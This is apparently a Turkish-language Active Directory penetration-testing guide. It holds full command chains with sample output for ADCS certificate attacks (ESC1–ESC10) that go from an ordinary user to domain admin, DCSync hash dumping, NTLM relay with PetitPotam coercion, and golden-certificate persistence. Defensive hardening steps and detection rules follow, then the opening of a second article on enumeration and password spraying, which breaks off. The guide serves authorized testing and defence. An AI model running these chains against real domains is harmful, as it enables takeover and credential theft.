# Çıktıda: "[!] ESC1 — 'VulnerableTemplate'" görmelisiniz

# Adım 2: Administrator UPN ile sertifika iste
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template VulnerableTemplate \
  -upn administrator@corp.local \
  -dc-ip 10.10.10.10

# Çıktı:
# [*] Requesting certificate via RPC
# [*] Successfully requested certificate
# [*] Request ID is 42
# [*] Got certificate with UPN 'administrator@corp.local'
# [*] Certificate object SID is 'S-1-5-21-...-500'
# [*] Saved certificate and private key to 'administrator.pfx'

# Adım 3: Sertifika ile Kerberos kimlik doğrulaması
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

# Çıktı:
# [*] Using principal: administrator@corp.local
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Trying to retrieve NT hash for 'administrator'
# [*] Got NT hash for 'administrator@corp.local': 31d6cfe0d16ae931b73c59d7e0c089c0

# Adım 4: NT Hash ile secretsdump
python3 secretsdump.py \
  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
  administrator@10.10.10.10

# Veya Pass-the-Hash
python3 wmiexec.py \
  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
  administrator@10.10.10.10

Windows'tan Certify + Rubeus ile

# Adım 1: Sertifika iste
Certify.exe request /ca:CORP-CA /template:VulnerableTemplate /altname:administrator

# Base64 çıktısını kopyala, Linux'ta dönüştür:
# openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx

# Adım 2: Rubeus ile TGT al
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:"" /nowrap

# Adım 3: TGT'yi import et
Rubeus.exe ptt /ticket:BASE64_TICKET_HERE

# Adım 4: DCSync
mimikatz.exe "lsadump::dcsync /domain:corp.local /all" "exit"

Neden Bu Kadar Tehlikeli?

Yetki gerektirmez: Domain Users grubundaki herhangi bir kullanıcı saldırıyı gerçekleştirebilir.
Tek komutla Domain Admin: Enrollment → TGT → NT hash zinciri 3 komutla tamamlanır.
Log kaydı azdır: Sertifika enrollment işlemi meşru görünür; anormal olan sadece UPN değeridir.
Kalıcılık sağlar: Sertifika süresi boyunca (genellikle 1-2 yıl) geçerlidir.

ESC2 — Any Purpose EKU: Kısıtsız Sertifika

ESC2, şablonun EKU alanında szOID_ANY_APPLICATION_POLICY (2.5.29.37.0) OID'ine sahip olması veya EKU alanının tamamen boş olması durumunda geçerlidir.

Teknik Detay

pKIExtendedKeyUsage: 2.5.29.37.0  (Any Purpose)
# veya EKU alanı hiç yoksa (tüm kullanımlar izinli)

Any Purpose EKU'su, sertifikanın herhangi bir amaç için — Kerberos kimlik doğrulaması, enrollment agent olarak kullanım, kod imzalama vb. — geçerli olduğunu belirtir. Bu da ESC1'deki gibi Client Authentication gereksinimini karşılar.

ESC2 Saldırı Vektörü

# ESC2 template ile sertifika al (SAN belirtmeden)
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template AnyPurposeTemplate \
  -dc-ip 10.10.10.10

# Bu sertifikayı ESC3 saldırısında enrollment agent olarak kullan
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template User \
  -on-behalf-of 'corp\administrator' \
  -pfx anypurpose.pfx \
  -dc-ip 10.10.10.10

ESC2, tek başına kullanıldığında SAN kontrolü yoksa sınırlı bir tehdit oluşturur; ancak ESC3 pivot noktası olarak çok tehlikeli hale gelir.

ESC3 — Certificate Request Agent: Başkası Adına Enrollment

ESC3, iki farklı sertifika şablonunu zincir saldırı olarak kullanan karmaşık bir yöntemdir. İlk şablon Enrollment Agent EKU içerirken, ikinci şablon bu agent sertifikasının başka kullanıcılar adına kullanılmasına izin verir.

Koşullar

Şablon 1 — Enrollment Agent Şablonu:

EKU: szOID_ENROLLMENT_AGENT (1.3.6.1.4.1.311.20.2.1)
Enrollment: Domain Users
Onay: Gerekmez

Şablon 2 — On-Behalf-Of İzni:

msPKI-RA-Signature: 0 (enrollment agent imzası gerektirmez)
veya enrollment agent'ın bu şablonda enrollment hakkı var

Certipy ile ESC3 Saldırısı

# Adım 1: Enrollment Agent sertifikası al
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template ESC3-CertRequestAgent \
  -dc-ip 10.10.10.10
# Çıktı: jdoe.pfx (enrollment agent sertifikası)

# Adım 2: Agent sertifikasıyla administrator adına sertifika iste
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template User \
  -on-behalf-of 'corp\administrator' \
  -pfx jdoe.pfx \
  -dc-ip 10.10.10.10
# Çıktı: administrator.pfx

# Adım 3: Kimlik doğrulaması
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

Gerçek Dünya Senaryosu

ESC3 için genellikle iki ayrı şablona ihtiyaç duyulur. Bu iki şablon farklı isimlerde olabilir ve BloodHound'da görünür. msPKI-RA-Signature: 0 olan herhangi bir kullanıcı şablonu, ESC3'ün ikinci adımı için hedef olabilir.

ESC4 — Template Access Control Abuse: DACL Manipülasyonu

ESC4, bir şablon üzerinde yazma iznine sahip olan (GenericWrite, WriteDACL, WriteOwner, GenericAll) bir kullanıcının o şablonu ESC1'e dönüştürebileceği saldırıdır.

Koşullar

Hedef şablon üzerinde:
- GenericWrite ACE, veya
- WriteDACL ACE, veya
- WriteOwner ACE, veya
- GenericAll ACE

Certipy ile ESC4 Saldırısı

# Adım 1: Mevcut şablon yapılandırmasını kaydet (geri almak için)
certipy template \
  -u jdoe@corp.local \
  -p 'Password123' \
  -template VulnerableTemplate \
  -save-old \
  -dc-ip 10.10.10.10
# Çıktı: VulnerableTemplate.json (backup)

# Adım 2: Şablonu ESC1'e dönüştür
# certipy otomatik olarak:
# - msPKI-Certificate-Name-Flag: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT ekler
# - CT_FLAG_PEND_ALL_REQUESTS kaldırır
# - Domain Users'a enrollment hakkı verir
certipy template \
  -u jdoe@corp.local \
  -p 'Password123' \
  -template VulnerableTemplate \
  -dc-ip 10.10.10.10

# Adım 3: ESC1 saldırısı yap
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template VulnerableTemplate \
  -upn administrator@corp.local \
  -dc-ip 10.10.10.10

# Adım 4: Kimlik doğrulaması
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10

# Adım 5: TEMİZLİK — Şablonu eski haline getir (önemli!)
certipy template \
  -u jdoe@corp.local \
  -p 'Password123' \
  -template VulnerableTemplate \
  -configuration VulnerableTemplate.json \
  -dc-ip 10.10.10.10

Windows'tan PowerView ile

# Şablon üzerinde WriteDACL varsa
Import-Module PowerView

# Önce mevcut DACL'i gör
Get-DomainObjectAcl -Identity "VulnerableTemplate" -ResolveGUIDs |
  Where-Object { $_.SecurityIdentifier -match "S-1-5-21-...-1105" }

# GenericAll ver (ardından ESC1 uygula)
Add-DomainObjectAcl \
  -TargetIdentity "VulnerableTemplate" \
  -PrincipalIdentity "jdoe" \
  -Rights All

ESC5 — PKI Object / CA Object DACL: Altyapı Kontrolü

ESC5, CA nesnesinin kendisi veya PKI container'ları üzerindeki DACL zafiyetlerini kapsar. Bu kategori geniştir ve şunları içerir:

CA Nesnesindeki WriteDACL: CN=CORP-CA,CN=Enrollment Services,... üzerinde yazma izni
PKI Container'larındaki DACL: CN=Public Key Services,... üzerinde izinler
CA makinesinin kendisindeki yönetim hakları

ESC5, domain'deki PKI altyapısının kontrolünü ele geçirmeye yarar.

BloodHound'da ESC5 Tespiti

MATCH (u:User)-[:WriteDACL|GenericWrite|GenericAll]->(c:Domain)
WHERE c.name CONTAINS "CA"
RETURN u, c

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2: CA Seviyesi Flag

ESC6, CA'nın kendisinde set edilmiş olan EDITF_ATTRIBUTESUBJECTALTNAME2 flag'inden kaynaklanır. Bu flag, herhangi bir şablonda SAN belirlemeye izin verir — şablon CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT içermese bile.

Flag'i Kontrol Etme

# certutil ile kontrol (Windows)
certutil -config "corp.local\CORP-CA" -getreg "policy\EditFlags"

# Çıktıda 0x00040000 (EDITF_ATTRIBUTESUBJECTALTNAME2) varsa ESC6!
# Örnek çıktı:
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CORP-CA\PolicyModules\...
# EditFlags REG_DWORD = 0x15014e (1380686)

# Certipy ile de tespit edilir
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout
# [!] ESC6 — CA 'CORP-CA': EDITF_ATTRIBUTESUBJECTALTNAME2 set

ESC6 Saldırısı

# EDITF_ATTRIBUTESUBJECTALTNAME2 aktifse, normal bir User şablonuyla bile UPN belirlenebilir
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template User \
  -upn administrator@corp.local \
  -dc-ip 10.10.10.10

# Sertifika alındı, artık kimlik doğrulama
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

Dikkat Notu

Microsoft, Mayıs 2022'de yayımladığı KB5014754 güncellemesiyle EDITF_ATTRIBUTESUBJECTALTNAME2 flag'ini devre dışı bırakan bazı sertifika mapping değişiklikleri yaptı. Ancak eski sistemlerde bu flag hâlâ aktif olabilir.

ESC7 — CA Access Control: ManageCA ve ManageCertificates

ESC7, bir kullanıcının CA üzerinde ManageCA veya ManageCertificates yetkisine sahip olduğu durumları kapsar.

ManageCA (CA Yöneticisi)

ManageCA yetkisi şunları yapmaya izin verir:

CA konfigürasyonunu değiştirme
EDITF_ATTRIBUTESUBJECTALTNAME2 flag'ini aktifleştirme → ESC6
Yeni yönetici hesapları oluşturma
CA sertifikasını yenileme

ManageCertificates (Sertifika Yöneticisi)

ManageCertificates yetkisi şunlara izin verir:

Bekleyen (pending) enrollment isteklerini onaylama → ESC7 alt vektörü
Sertifikaları iptal etme

ESC7 Saldırısı — SubCA Şablonu ile

# Adım 1: ManageCA yetkisiyle SubCA şablonunu aktifleştir
certipy ca \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -enable-template SubCA \
  -dc-ip 10.10.10.10

# Adım 2: SubCA şablonuyla administrator UPN ile istek yap
# (Bu istek normalde reddedilir çünkü SubCA Manager Approval gerektirir)
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template SubCA \
  -upn administrator@corp.local \
  -dc-ip 10.10.10.10
# Çıktı: Request ID: 87 (PENDING veya DENIED olarak gelecek)

# Adım 3: ManageCA yetkisiyle isteği onayla
certipy ca \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -issue-request 87 \
  -dc-ip 10.10.10.10

# Adım 4: Onaylanan sertifikayı al
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -retrieve 87 \
  -dc-ip 10.10.10.10
# Çıktı: administrator.pfx

# Adım 5: Kimlik doğrulaması
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

ESC7 — EDITF_ATTRIBUTESUBJECTALTNAME2 Aktivasyonu

# ManageCA yetkisiyle ESC6 flag'ini aç
certipy ca \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -enable-template SubCA \
  -dc-ip 10.10.10.10

# Alternatif: certutil ile (Windows)
certutil -setreg "CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags" +EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

ESC8 — NTLM Relay to AD CS HTTP Enrollment: Zincir Saldırı

ESC8, ADCS'in en spektaküler saldırı vektörüdür. NTLM relay saldırısını PetitPotam ya da başka bir coercion tekniğiyle birleştirerek Domain Controller'ın machine account sertifikasını elde eder. Bu sertifika, DC'nin NT hash'ini almak için kullanılır ve ardından DCSync ile tüm domain ele geçirilir.

Ön Koşullar

certsrv HTTP endpoint aktif: http://ca01/certsrv/ erişilebilir olmalı
NTLM authentication açık: IIS üzerinde NTLM kabul ediliyor
EPA (Extended Protection for Authentication) KAPALI: Varsayılan kurulumda kapalıdır
HTTPS zorunlu değil: HTTP relay mümkün olmalı

Tespit

# certsrv endpoint varlığı
curl -I http://ca01/certsrv/
# HTTP/1.1 401 Unauthorized → NTLM challenge geliyorsa ESC8 mümkün

# certipy ile
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -stdout
# [!] ESC8 — 'CORP-CA': HTTP enrollment enabled without EPA

Tam Saldırı Zinciri — 3 Terminal

Terminal 1: NTLM Relay Listener

# impacket-ntlmrelayx
impacket-ntlmrelayx \
  -t http://ca01/certsrv/ \
  --adcs \
  --template DomainController \
  -smb2support \
  --no-http-server

# Alternatif: krb5-relay ile Kerberos relay (daha yeni ortamlar için)

Terminal 2: DC Coercion (PetitPotam)

# PetitPotam ile DC'yi NTLM auth yapmaya zorla
python3 PetitPotam.py \
  -u jdoe \
  -p 'Password123' \
  -d corp.local \
  192.168.1.50 \
  10.10.10.10

# Alternatif coercion teknikleri:
# PrinterBug (MS-RPRN)
python3 printerbug.py corp.local/jdoe:'Password123'@10.10.10.10 192.168.1.50

# DFSCoerce
python3 dfscoerce.py -u jdoe -p 'Password123' -d corp.local 192.168.1.50 10.10.10.10

# Coercer (otomatik tüm coercion vektörlerini dene)
Coercer coerce -l 192.168.1.50 -t 10.10.10.10 -u jdoe -p 'Password123' -d corp.local

Terminal 3: Kimlik Doğrulama ve DCSync

# ntlmrelayx başarılı olduğunda dc01.pfx elde edilir
# Certipy ile PKINIT kimlik doğrulaması
certipy auth \
  -pfx dc01.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

# Çıktı:
# [*] Got TGT
# [*] NT hash for 'DC01$': 8f3b4c2d1a9e5f7b2c4d6e8a1b3c5d7e

# secretsdump ile tüm domain hash'lerini dök
python3 secretsdump.py \
  -hashes ':8f3b4c2d1a9e5f7b2c4d6e8a1b3c5d7e' \
  'corp.local/DC01$@10.10.10.10'

# Çıktı:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e4e2c6abb16a5b7ab1b58c2a5e5a9d1c:::
# [*] MACHINE$:plain_password_hex:...

# Pass-the-Hash ile DC'ye bağlan
python3 wmiexec.py \
  -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' \
  administrator@10.10.10.10

ESC8 Neden Bu Kadar Tehlikeli?

Ağdaki herhangi biri saldırabilir: Hatta domain hesabı olmayan biri bile coercion yapabilirse (anonim erişim varsa).
Hiçbir şablon yapılandırması değiştirilmez: Tamamen mevcut altyapı kullanılır.
Domain Controller kimliğine bürünme: DC'nin machine account sertifikası en yüksek ayrıcalıkları verir.
Log izleri sınırlı: HTTP enrollment, normal CA trafiği gibi görünür.

ESC9 ve ESC10 — Weak Certificate Mapping

ESC9 ve ESC10, 2022 sonrası Microsoft'un sertifika mapping değişikliklerini takip eden görece yeni saldırı vektörleridir.

ESC9 — No Security Extension

Koşul: msPKI-Enrollment-Flag'de CT_FLAG_NO_SECURITY_EXTENSION (0x80000) set edilmiş

Bu flag, oluşturulan sertifikada szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2) extension'ının eklenmemesine yol açar. Bu extension, sertifikayı bir Active Directory SID'ine bağlar. Extension yoksa, weak UPN mapping kullanılır.

ESC10 — Weak Certificate Mapping via GenericWrite

# Koşul: Hedef kullanıcı üzerinde GenericWrite
# Saldırı: Kullanıcının userPrincipalName'ini değiştir → farklı kullanıcı adına sertifika al → değiştir geri

# Adım 1: Hedef kullanıcının UPN'ini değiştir
python3 bloodyAD.py \
  -u jdoe \
  -p 'Password123' \
  -d corp.local \
  --host 10.10.10.10 \
  set object victim userPrincipalName -v administrator@corp.local

# Adım 2: Sertifika al (UPN şimdi administrator)
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template User \
  -dc-ip 10.10.10.10

# Adım 3: UPN'i geri al
python3 bloodyAD.py \
  -u jdoe -p 'Password123' -d corp.local --host 10.10.10.10 \
  set object victim userPrincipalName -v victim@corp.local

# Adım 4: Sertifika ile kimlik doğrulama (administrator olarak)
certipy auth -pfx jdoe.pfx -dc-ip 10.10.10.10 -domain corp.local

ADCS ile Domain Persistence: Sertifika Tabanlı Kalıcılık

Sertifika Tabanlı Kalıcılık

Normal bir Domain Admin hesabının şifresi değiştirilse bile, geçerli bir sertifika varsa Kerberos PKINIT ile kimlik doğrulaması yapılmaya devam edilebilir:

# Uzun süreli geçerli sertifika oluştur (2 yıl geçerli User şablonu ile)
certipy req -u administrator@corp.local -p 'Password' -ca CORP-CA -template User -dc-ip 10.10.10.10

# Şifre değişse bile bu sertifika 2 yıl boyunca geçerli kalır
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

Golden Certificate — CA Private Key Ele Geçirme

CA'nın private key'i ele geçirilirse, süresi dolmamış herhangi bir sertifika taklit edilebilir:

# Mimikatz ile CA private key'i çıkar (CA sunucusunda)
mimikatz.exe "crypto::capi" "crypto::certificates /systemstore:local_machine /store:my /export" "exit"

# veya
mimikatz.exe "lsadump::backupkeys /system:dc01.corp.local /export" "exit"

Bu private key sayesinde, herhangi bir kullanıcı adına sertifika sahtelenerek (forge) kalıcılık sağlanabilir. Bu tür sertifikaları iptal etmek için CA private key'in de değiştirilmesi gerekir.

DPAPI Bağlantısı

CA private key'ler Windows'ta DPAPI ile korunan CNG anahtar depolamada tutulur. mimikatz lsadump::backupkeys bu key'lere erişim sağlar.

Savunma ve Tespit

Önleyici Tedbirler

1. Periyodik ADCS Taraması

# Haftalık otomatik tarama (cron/görev zamanlayıcı)
certipy find -u svc-scan@corp.local -p 'PASSWORD' -dc-ip 10.10.10.10 -vulnerable -output adcs-weekly-report

2. ESC1 İçin Düzeltme

Template'deki CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag'ini kaldır:

# PKI MMC -> Certificate Templates -> Template Properties -> Subject Name
# "Supply in the request" seçeneğini kaldır
# "Build from this Active Directory information" seç

# Veya LDAP ile
Set-ADObject -Identity "CN=VulnerableTemplate,CN=Certificate Templates,..." `
  -Replace @{"msPKI-Certificate-Name-Flag"="0"}

3. HTTP Enrollment'ta EPA Zorunlu Kılma (ESC8 için)

# IIS üzerinde certsrv için EPA aktifleştir
Import-Module WebAdministration
Set-WebConfigurationProperty \
  -Filter "system.webServer/security/authentication/windowsAuthentication" \
  -PSPath "IIS:\Sites\Default Web Site\CertSrv" \
  -Name "extendedProtection.tokenChecking" \
  -Value "Required"

# Veya certutil ile
certutil -setreg "CA\InterfaceFlags" +IF_ENFORCEENCRYPTICERTREQUEST

4. EDITF_ATTRIBUTESUBJECTALTNAME2 Kapatma (ESC6)

# CA'da bu flag'i kaldır
certutil -setreg "CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

5. Güçlü Sertifika Binding (ESC9/ESC10)

# Registry'de StrongCertificateBindingEnforcement aktifleştir
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" `
  -Name "StrongCertificateBindingEnforcement" -Value 2 -Type DWord

6. Template Onay Zorunluluğu (ESC1/ESC2/ESC3)

# Template üzerinde Manager Approval aktifleştir
# PKI MMC -> Certificate Templates -> Properties -> Issuance Requirements
# "CA certificate manager approval" kutusunu işaretle

Tespit: SIEM ve Event Log Kuralları

Event ID	Log Source	Açıklama
4886	Security	Certificate requested (her enrollment)
4887	Security	Certificate issued (başarılı enrollment)
4888	Security	Certificate request denied
4889	Security	Certificate put in pending state
4890	Security	Settings changed for CA
4896	Security	One or more rows deleted from certificate database

Kritik Tespit Kuralı — Olağandışı UPN Talebi:

EventID = 4887
AND RequesterName != CertificateSubject
AND (
  CertificateSubject CONTAINS "administrator" OR
  CertificateSubject CONTAINS "krbtgt" OR
  CertificateSubject CONTAINS "DC01$"
)

Kritik Tespit Kuralı — Machine Account HTTP Enrollment:

EventID = 4887
AND RequesterName ENDSWITH "$"
AND RequestSource = "HTTP"
AND TemplateName = "DomainController"

Microsoft ADCS Denetim Scripti

# Tüm template'leri kontrol et
Import-Module ActiveDirectory

$templates = Get-ADObject -SearchBase \
  "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  -Filter {objectClass -eq "pKICertificateTemplate"} \
  -Properties msPKI-Certificate-Name-Flag, msPKI-Enrollment-Flag, pKIExtendedKeyUsage

foreach ($t in $templates) {
  $nameFlag = $t."msPKI-Certificate-Name-Flag"
  $enrollFlag = $t."msPKI-Enrollment-Flag"

  if ($nameFlag -band 0x1) {
    Write-Warning "[ESC1 Candidate] Template: $($t.Name) — ENROLLEE_SUPPLIES_SUBJECT set"
  }
  if ($enrollFlag -band 0x80000) {
    Write-Warning "[ESC9 Candidate] Template: $($t.Name) — NO_SECURITY_EXTENSION set"
  }
}

Referanslar ve Ek Okuma

"Certified Pre-Owned" — Will Schroeder ve Lee Christensen, SpecterOps (2021): https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
certipy — Oliver Lyak: https://github.com/ly4k/Certipy
Certify — Will Schroeder: https://github.com/GhostPack/Certify
PetitPotam — topotam: https://github.com/topotam/PetitPotam
impacket — SecureAuth: https://github.com/fortra/impacket
Microsoft PKI Documentation: https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/
KB5014754 — Microsoft ADCS sertifika mapping değişiklikleri (Mayıs 2022)
BloodHound ADCS Support — Rohan Vazarkar & Andrew Robbins (BloodHound 4.2+)

Active Directory Güvenlik Testi: Saldırganın Gözünden Kapsamlı Rehber

2026-06-29T07:00:00Z

Giriş: Neden Active Directory Her Zaman Birincil Hedef?

Active Directory (AD), Microsoft'un kurumsal kimlik ve erişim yönetimi çözümüdür. Fortune 500 şirketlerinin %90'ından fazlası, devlet kurumları ve eğitim kurumları AD tabanlı altyapı üzerine kuruludur. Tek bir Domain Controller (DC) ele geçirildiğinde tüm domain kaynakları — kullanıcı hesapları, sunucular, dosya paylaşımları, VPN sistemleri, e-posta altyapısı — saldırganın etkisine girer.

Bu rehber, yetkili penetrasyon testi bağlamında bir AD ortamını saldırgan perspektifinden nasıl değerlendireceğinizi ele alır. Enumeration'dan DCSync'e, sertifika servislerinden trust saldırılarına kadar her adım, gerçek komutlar ve araçlarla gösterilmiştir.

Etik Not: Bu kılavuzdaki teknikler yalnızca yasal izin alınmış ortamlarda (penetrasyon testi, CTF, kişisel lab) kullanılmalıdır. İzinsiz sistemlere uygulanması hukuki sonuçlar doğurur.

Lab Ortamı ve Araç Seti

Testlere başlamadan önce ortamı ve araçları hazırlamak gerekir.

Saldırı Platformu (Kali Linux / Parrot OS):

# Temel araç seti kurulumu
sudo apt install bloodhound neo4j crackmapexec evil-winrm
pip3 install impacket certipy-ad
git clone https://github.com/PowerShellMafia/PowerSploit  # PowerView
git clone https://github.com/GhostPack/Rubeus             # Rubeus (derleme gerekli)
git clone https://github.com/Sw4mpf0x/PowerMad            # PowerMad (makine hesabı oluşturma)
git clone https://github.com/ly4k/Certipy                 # ADCS saldırıları
git clone https://github.com/eladshamir/Whisker            # Shadow Credentials

Temel Araçlar Tablosu:

Araç	Platform	Kullanım Alanı
BloodHound + SharpHound	Linux / Windows	Attack path enumeration
PowerView (PowerSploit)	Windows PS	AD object sorguları
Rubeus	Windows	Kerberos ticket işlemleri
Mimikatz	Windows	Hash dump, ticket inject
Impacket suite	Linux	DCSync, secretsdump, relay
CrackMapExec (CME)	Linux	SMB/WinRM/LDAP tarama
Certipy	Linux	ADCS (ESC1-ESC8)
Whisker / pywhisker	Win / Linux	Shadow Credentials
PowerMad	Windows PS	Machine account oluşturma
Responder	Linux	NTLM hash yakalama
PetitPotam	Linux	NTLM coercion

Bölüm 1: Keşif ve Numaralandırma (Enumeration)

Numaralandırma, bir AD testinin en kritik aşamasıdır. Yanlış bir numaralandırma, gerçek attack path'lerin gözden kaçmasına neden olur.

1.1 Kimlik Doğrulamasız (Unauthenticated) Numaralandırma

İlk adımda, hiçbir credential olmadan ne kadar bilgiye ulaşabileceğimizi test ederiz.

# LDAP Anonymous Bind — DC keşfi ve base DN tespiti
ldapsearch -x -H ldap://10.10.10.10 -b "" -s base "(objectclass=*)" namingContexts

# Eğer anonymous bind açıksa: DC=corp,DC=local altını listele
ldapsearch -x -H ldap://10.10.10.10 -b "DC=corp,DC=local" "(objectclass=user)" sAMAccountName

# Enum4linux-ng — kapsamlı SMB/RPC/LDAP numaralandırma
enum4linux-ng -A 10.10.10.10

# CrackMapExec — null session testi
crackmapexec smb 10.10.10.10 -u '' -p ''
crackmapexec smb 10.10.10.10 -u 'guest' -p ''

# Nmap LDAP scriptleri
nmap -p 389,636 --script ldap-rootdse,ldap-search --script-args ldap.base='"DC=corp,DC=local"' 10.10.10.10

# NetBIOS ve SMB keşfi
nbtscan 10.10.10.0/24
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt

Null session başarılı olursa:

Domain adı, DC hostnames
NetBIOS/FQDN bilgisi
Paylaşılan klasörler (SYSVOL, NETLOGON)
Kullanıcı listesi (RID bruteforce ile)

1.2 Kimlik Doğrulamalı (Authenticated) Numaralandırma

Herhangi bir domain hesabı (hatta düşük yetkili) ile çok daha fazla bilgiye ulaşılır.

# PowerView — temel domain bilgisi
Import-Module .\PowerView.ps1
Get-Domain
Get-DomainController
Get-DomainPolicy

# Kullanıcı numaralandırma
Get-DomainUser | select samaccountname, description, memberof, useraccountcontrol, lastlogondate, passwordlastset, admincount
Get-DomainUser -Properties * | Where-Object {$_.Description -ne $null} | select samaccountname, description

# SPN'li kullanıcılar (Kerberoasting adayları)
Get-DomainUser -SPN | select samaccountname, serviceprincipalname, msds-supportedencryptiontypes

# DONT_REQUIRE_PREAUTH kullanıcıları (AS-REP Roasting adayları)
Get-DomainUser -UACFilter DONT_REQUIRE_PREAUTH | select samaccountname

# Grup numaralandırma
Get-DomainGroup | select name, description, memberof
Get-DomainGroupMember "Domain Admins" -Recurse

# Bilgisayar numaralandırma
Get-DomainComputer | select name, operatingsystem, dnshostname, ms-mcs-admpwd

# Paylaşım tarama
Find-DomainShare -Verbose
Invoke-ShareFinder -ExcludeStandard -Verbose

# LAPS okuma (AllExtendedRights veya LAPS okuma hakkı gerekli)
Get-DomainComputer | Where-Object {$_."ms-mcs-admpwdexpirationtime" -ne $null} | select name, "ms-mcs-admpwd"

# Impacket ile LDAP numaralandırma
python3 GetADUsers.py corp.local/jdoe:Password123 -all

# CrackMapExec ile kapsamlı tarama
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --users
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --groups
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --shares
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' --sessions
crackmapexec ldap 10.10.10.10 -u jdoe -p 'Password123' --kdcHost 10.10.10.10 -M get-desc-users

# ldapsearch ile detaylı sorgular
ldapsearch -x -H ldap://10.10.10.10 -D "jdoe@corp.local" -w 'Password123' \
  -b "DC=corp,DC=local" "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))" \
  sAMAccountName servicePrincipalName msDS-SupportedEncryptionTypes

1.3 BloodHound ile Saldırı Yolu Haritalama

BloodHound, AD nesneleri arasındaki ilişkileri graf veritabanında (Neo4j) depolar ve attack path analizi için en güçlü araçtır.

# SharpHound ile veri toplama (Windows)
.\SharpHound.exe -c All --zipfilename bloodhound_output.zip
.\SharpHound.exe -c DCOnly      # sadece DC sorguları (daha hızlı)
.\SharpHound.exe -c Session     # aktif oturumlar
.\SharpHound.exe -c LoggedOn    # oturum açmış kullanıcılar (admin gerekli)

# BloodHound.py ile Linux'tan uzak toplama
python3 bloodhound.py -u jdoe -p 'Password123' -d corp.local -dc dc01.corp.local -c all --zip

BloodHound'da kritik Cypher sorguları:

// Domain Admin'e en kısa yol
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

// Kerberoastable hesaplar
MATCH (u:User {hasspn:true, enabled:true}) RETURN u.name, u.serviceprincipalnames

// AS-REP Roastable hesaplar
MATCH (u:User {dontreqpreauth:true, enabled:true}) RETURN u.name

// Unconstrained Delegation bilgisayarları
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH 'DC' RETURN c.name

// High-value hedef üzerinde yazma hakkı olan gruplar
MATCH (g:Group)-[:WriteDacl|GenericAll|GenericWrite|Owns|WriteOwner]->(n:Computer {highvalue:true}) RETURN g.name, n.name

// AdminTo ilişkileri (local admin)
MATCH p=(u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name

// Tüm DCSync haklarını listele
MATCH p=(n)-[:DCSync]->(d:Domain) RETURN n.name, d.name

Bölüm 2: Kimlik Bilgisi Saldırıları

2.1 Password Spraying

Brute force yerine tek şifreyi tüm kullanıcılarda deneriz — hesap kilitleme politikasını aşmak için.

# Kerbrute (Kerberos pre-auth üzerinden — log bırakır ama domain trafiği gerektirir)
./kerbrute passwordspray -d corp.local users.txt 'Winter2024!'
./kerbrute userenum -d corp.local wordlist.txt  # Önce geçerli kullanıcıları bul

# CrackMapExec
